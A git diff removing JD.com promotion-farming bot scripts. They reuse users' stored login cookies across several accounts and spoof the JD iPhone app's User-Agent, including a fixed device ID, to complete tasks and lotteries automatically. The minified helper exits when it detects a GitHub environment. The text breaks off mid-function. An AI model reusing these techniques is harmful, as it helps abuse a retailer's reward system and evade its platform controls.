...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -let tz = ($.getval('tz') || '1');//0关闭通知,1默认开启 -const invite=1;//新用户自动邀请,0关闭,1默认开启 -const logs =0;//0为关闭日志,1为开启 -var hour='' -var minute='' -if ($.isNode()) { - hour = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getHours(); - minute = new Date( new Date().getTime() + 8 * 60 * 60 * 1000 ).getMinutes(); -}else{ - hour = (new Date()).getHours(); - minute = (new Date()).getMinutes(); -} -//CK运行 -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [ - $.getdata("CookieJD"), - $.getdata("CookieJD2"), - ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i =0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - message = '' - $.isLogin = true; - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { - "open-url": "https://bean.m.jd.com/bean/signIndex.action" - }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await getlist() - //await scan() - //await reward() - } - -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - - -function PostRequest(uri,body) { - const url = `https://api.m.jd.com/api`; - const method = `POST`; - const headers = {"Accept": "application/json, text/plain, */*", -"Accept-Encoding": "gzip, deflate, br", -"Accept-Language": "zh-cn", -"Connection": "keep-alive", -"Content-Type": "application/x-www-form-urlencoded", -"Cookie": cookie, -"Host": "api.m.jd.com", -"Origin": "https://prodev.m.jd.com", -"User-Agent": "jdapp;iPhone;10.0.6;14.4;0bcbcdb2a68f16cf9c9ad7c9b944fd141646a849;network/4g;model/iPhone12,1;addressid/2377723269;appBuild/167724;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1" -} - return {url: url, method: method, headers: headers, body: body}; -} - -async function doTask(){ - const body = `appid=china-joy&functionId=festival_floor_prod&body=%7B%22taskId%22%3A%22${taskid}%22%2C%22taskItemId%22%3A%22${taskItemId}%22%2C%22apiMapping%22%3A%22%2Fapi%2Ftask%2FdoTask%22%7D&t=${new Date().getTime()}&loginType=2` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs) $.log(data) - if(result.code == 200){ - await $.wait(2000) - t = result.data.timeStamp - }else{ - $.log(result.msg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function DoTask(){ - const body = `appid=china-joy&functionId=festival_floor_prod&body=%7B%22taskId%22:%22${taskid}%22,%22taskItemId%22:%22${taskItemId}%22,%22timestamp%22:${t},%22skuId%22:%22%22,%22taskType%22:null,%22apiMapping%22:%22/api/task/getReward%22%7D&t=1642672924093&loginType=2` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 200){ - if(result.data.taskFinish == true){ - console.log(result.msg+"获得"+result.data.jbean+"豆豆\n") - }else{ - console.log("任务继续") - } - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function Lottery(){ - const body = `functionId=interact_template_getLotteryResult&body=%7B%22appId%22:%221FV1VwKc%22%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.result.userAwardsCacheDto.type == 2){ - console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.ext+"\n") - await $.wait(4000) - }else{ - $.log("恭喜你获得京豆0个\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getLottery(){ - const body = `functionId=interact_template_getLotteryResult&body=%7B%22appId%22%3A%221FV1VwKc%22%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0 && result.data.result.lotteryReturnCode == 0){ - console.log("\n获得"+result.data.result.userAwardsCacheDto.jBeanAwardVo.prizeName+"\n") - await $.wait(4000) - }else{ - $.log(result.data.bizMsg+" 恭喜你抽中了0豆豆\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - -async function scans(){ - for(let j = 0; j < taskItemIdArr.length; j++){ - taskItemId = task1ItemIdArr[j]; - taskid = taskItemIdArr[j].match(/\d+/) - $.log("TaskId:"+taskid) - $.log("taskItemId:"+taskItemId) - await doTask() - await DoTask() -} -} -async function zy(){ -taskItemIdArr.splice(0,taskItemIdArr.length); -task1ItemIdArr.splice(0,task1ItemIdArr.length); -} - -async function Zy(){ - for(let i = 0; i < num1; i ++){ - await getlist() - } -} -async function control(){ - for(let i = 0; i < list1tokenArr.distinct().length; i++){ - helpcode = list1tokenArr[i] - await dosupport() - await $.wait(4000) -} -} -async function dosupport(){ - const body = `functionId=harmony_collectScore&body=%7B%22appId%22:%221FV1VwKc%22,%22taskToken%22:%22${helpcode}%22,%22taskId%22:6,%22actionType%22:0%7D&client=wh5&clientVersion=1.0.0` - const MyRequest = PostRequest(``,body) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.data.bizCode == 0){ - console.log(result.data.bizMsg+"获得"+result.data.result.score+";共有"+result.data.result.userScore+"\n") - await $.wait(4000) - }else{ - console.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function getlist(){ - num++ - const MyRequest = PostRequest(``,`appid=china-joy&functionId=festival_floor_prod&body=%7B%22apiMapping%22%3A%22%2Fapi%2Ftask%2FgetTaskList%22%7D&t=1642671545792&loginType=2`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs) $.log(data) - if(result.code == 200){ - - let list1 = result.data.taskList.find(item => item.taskItemType == "VENUE") - num1 = Number(list1.totalNum) - Number(list1.finishNum) - if(num1 > 0){ - - taskid = list1.taskId; - taskItemId = list1.taskItemId - - await doTask() - await $.wait(2000) - await DoTask() - - }else{ - $.log("任务已完成") - } - - let list3 = result.data.taskList.find(item => item.taskItemType == "SHOP") - num3 = Number(list3.totalNum) - Number(list3.finishNum) - if(num3 > 0){ - - taskid = list3.taskId; - taskItemId = list3.taskItemId - - await doTask() - await $.wait(2000) - await DoTask() - - }else{ - $.log("任务已完成") - } - - - let list4 = result.data.taskList.find(item => item.taskItemType == "SKU") - num4 = Number(list4.totalNum) - Number(list4.finishNum) - if(num4 > 0){ - - taskid = list4.taskId; - taskItemId = list4.taskItemId - await $.wait(2000) - await DoTask() - - }else{ - $.log("任务已完成") - } - - let list5 = result.data.taskList.find(item => item.taskItemType == "CHANNEL") - - num5 = Number(list5.totalNum) - Number(list5.finishNum) - if(num5 > 0){ - - taskid = list5.taskId; - taskItemId = list5.taskItemId - await doTask() - await $.wait(2000) - await DoTask() - - }else{ - $.log("任务已完成") - } - }else{ - $.log(result.echo+"错误!\n") - } - if(num1 > 0 || num3 > 0|| num4 > 0 || num5 > 0){ - if(num >= 5){ - console.log("\n⚠️发生错误,脚本自动退出") - return; - } - await getlist() - } - - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function scan(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body=%7B%22appId%22:%221FV1VwKc%22,%22taskToken%22:%22%22,%22channelId%22:1%7D&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - -let list6 = result.data.result.taskVos.find(item => item.taskId == 6) - for(let i = 0; i < list6.productInfoVos.length; i ++){ -list0tokenArr.push(6+list6.productInfoVos[i].taskToken) -list1tokenArr.push(list6.productInfoVos[i].taskToken) -} - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -async function gethelpcode(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body=%7B%22appId%22%3A%221FV1VwKc%22%2C%22taskToken%22%3A%22%22%2C%22channelId%22%3A1%7D&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - -let list1 = result.data.result.taskVos.find(item => item.taskId == 1) - list0tokenArr.push(1+list1.assistTaskDetailVo.taskToken) -list1tokenArr.push(list1.assistTaskDetailVo.taskToken) - - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } - -async function userScore(){ - const MyRequest = PostRequest(``,`functionId=healthyDay_getHomeData&body={"appId":"1FV1VwKc","taskToken":"","channelId":1}&client=wh5&clientVersion=1.0.0`) - return new Promise((resolve) => { - $.post(MyRequest,async(error, response, data) =>{ - try{ - const result = JSON.parse(data) - if(logs)$.log(data) - if(result.code == 0){ - let userScore = result.data.result.userInfo.userScore - $.log("共有金币:"+userScore+";开始抽奖"+Math.floor(userScore/500)+"次") - for(let i = 0; i < Math.floor(userScore/300); i++){ - await getLottery() - } - }else{ - $.log(result.data.bizMsg+"\n") - } - }catch(e) { - $.logErr(e, response); - } finally { - resolve(); - } - }) - }) - } -//showmsg -//boxjs设置tz=1,在12点<=20和23点>=40时间段通知,其余时间打印日志 - -async function showmsg() { - if (tz == 1) { - if ($.isNode()) { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - await notify.sendNotify($.name, message) - } else { - $.log(message) - } - } else { - if ((hour == 12 && minute <= 20) || (hour == 23 && minute >= 40)) { - $.msg(zhiyi, '', message) - } else { - $.log(message) - } - } - } else { - $.log(message) - } -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); - return []; - } - } -} -Array.prototype.distinct = function (){ - var arr = this, - result = [], - len = arr.length; - arr.forEach(function(v, i ,arr){ //这里利用map,filter方法也可以实现 - var bool = arr.indexOf(v,i+1); //从传入参数的下一个索引值开始寻找是否存在重复 - if(bool === -1){ - result.push(v); - } - }) - return result; -}; -function Env(t,e){class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`\ud83d\udd14${this.name}, \u5f00\u59cb!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),a={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(a,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_firecrackers.js b/activity/jd_firecrackers.js deleted file mode 100644 index beb7565..0000000 --- a/activity/jd_firecrackers.js +++ /dev/null @@ -1,301 +0,0 @@ -/* -集鞭炮赢京豆 -活动入口:京东APP首页-发现好货-悬浮窗领京豆 -地址:https://linggame.jd.com/babelDiy/Zeus/heA49fhvyw9UakaaS3UUJRL7v3o/index.html -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#集鞭炮赢京豆 -10 8,21 * * * jd_firecrackers.js, tag=集鞭炮赢京豆, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - -================Loon============== -[Script] -cron "10 8,21 * * *" script-path=jd_firecrackers.js,tag=集鞭炮赢京豆 - -===============Surge================= -集鞭炮赢京豆 = type=cron,cronexp="10 8,21 * * *",wake-system=1,timeout=3600,script-path=jd_firecrackers.js - -============小火箭========= -集鞭炮赢京豆 = type=cron,script-path=jd_firecrackers.js, cronexpr="10 8,21 * * *", timeout=3600, enable=true - */ -const $ = new Env('集鞭炮赢京豆'); -const notify = $.isNode() ? require('./sendNotify') : ''; -let notifyBean = $.isNode() ? process.env.FIRECRACKERS_NOTITY_BEAN || 0 : 0; // 账号满足兑换多少京豆时提示 默认 0 不提示,格式:120 表示能兑换 120 豆子发出通知; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message; - -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.beans = 0 - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdFamily() - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdFamily() { - $.earn = 0 - await getInfo() - await getUserInfo() - await getUserInfo(true) - await showMsg(); -} - -function showMsg() { - return new Promise(async resolve => { - subTitle = `【京东账号${$.index}】${$.nickName}`; - message += `【鞭炮🧨】本次获得 ${$.earn},共计${$.total}\n` - if ($.total && notifyBean) { - for (let item of $.prize) { - if (notifyBean <= item.beansPerNum) { // 符合预定的京豆档位 - if ($.total >= item.prizerank) { // 当前鞭炮满足兑换 - message += `【京豆】请手动兑换 ${item.beansPerNum} 个京豆,需消耗花费🧨 ${item.prizerank}` - $.msg($.name, subTitle, message); - if ($.isNode()) { - await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); - resolve(); - return; - } - } - } - } - } - $.log(`${$.name}\n\n账号${$.index} - ${$.nickName}\n${subTitle}\n${message}`); - resolve() - }) -} - -function getInfo() { - return new Promise(resolve => { - $.get({ - url: 'https://linggame.jd.com/babelDiy/Zeus/heA49fhvyw9UakaaS3UUJRL7v3o/index.html', - headers: { - Cookie: cookie - } - }, async (err, resp, data) => { - try { - $.info = JSON.parse(data.match(/var snsConfig = (.*)/)[1]) - $.prize = JSON.parse($.info.prize) - } catch (e) { - console.log(e) - } finally { - resolve() - } - }) - }) -} - -function getUserInfo(info = false) { - return new Promise(resolve => { - $.get(taskUrl('family_query'), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - $.userInfo = JSON.parse(data.match(/query\((.*)\n/)[1]) - if (info) { - $.earn = $.userInfo.tatalprofits - $.total - } else { - for (let task of $.info.config.tasks) { - let vo = $.userInfo.tasklist.filter(vo => vo.taskid === task['_id']) - if (vo.length > 0) { - vo = vo[0] - if (vo['isdo'] === 1) { - if (vo['times'] === 0) { - console.log(`去做任务${task['_id']}`) - let res = await doTask(task['_id']) - if (!res) { // 黑号,不再继续执行任务 - break; - } - await $.wait(3000) - } else { - console.log(`${Math.trunc(vo['times'] / 60)}分钟可后做任务${task['_id']}`) - } - } - } - } - } - $.total = $.userInfo.tatalprofits - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function doTask(taskId) { - let body = `taskid=${taskId}` - return new Promise(resolve => { - $.get(taskUrl('family_task', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err},${jsonParse(resp.body)['message']}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let res = data.match(/query\((.*)\n/)[1]; - data = JSON.parse(res); - if (data.ret === 0) { - console.log(`任务完成成功`) - } else if (data.ret === 1001) { - console.log(`任务完成失败,原因:这个账号黑号了!!!`) - resolve(false); - return; - } else { - console.log(`任务完成失败,原因未知`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} - -function taskUrl(function_id, body = '') { - body = `activeid=${$.info.activeId}&token=${$.info.actToken}&sceneval=2&shareid=&_=${new Date().getTime()}&callback=query&${body}` - return { - url: `https://wq.jd.com/activep3/family/${function_id}?${body}`, - headers: { - 'Host': 'wq.jd.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/json;charset=utf-8', - 'Origin': 'wq.jd.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://anmp.jd.com/babelDiy/Zeus/xKACpgVjVJM7zPKbd5AGCij5yV9/index.html?wxAppName=jd`, - 'Cookie': cookie - } - } -} - -function taskPostUrl(function_id, body) { - return { - url: `https://lzdz-isv.isvjcloud.com/${function_id}`, - body: body, - headers: { - 'Host': 'lzdz-isv.isvjcloud.com', - 'Accept': 'application/json', - 'Accept-Language': 'zh-cn', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://lzdz-isv.isvjcloud.com', - 'User-Agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', - 'Referer': `https://lzdz-isv.isvjcloud.com/dingzhi/book/develop/activity?activityId=${ACT_ID}`, - 'Cookie': `${cookie} isvToken=${$.isvToken};` - } - } -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let 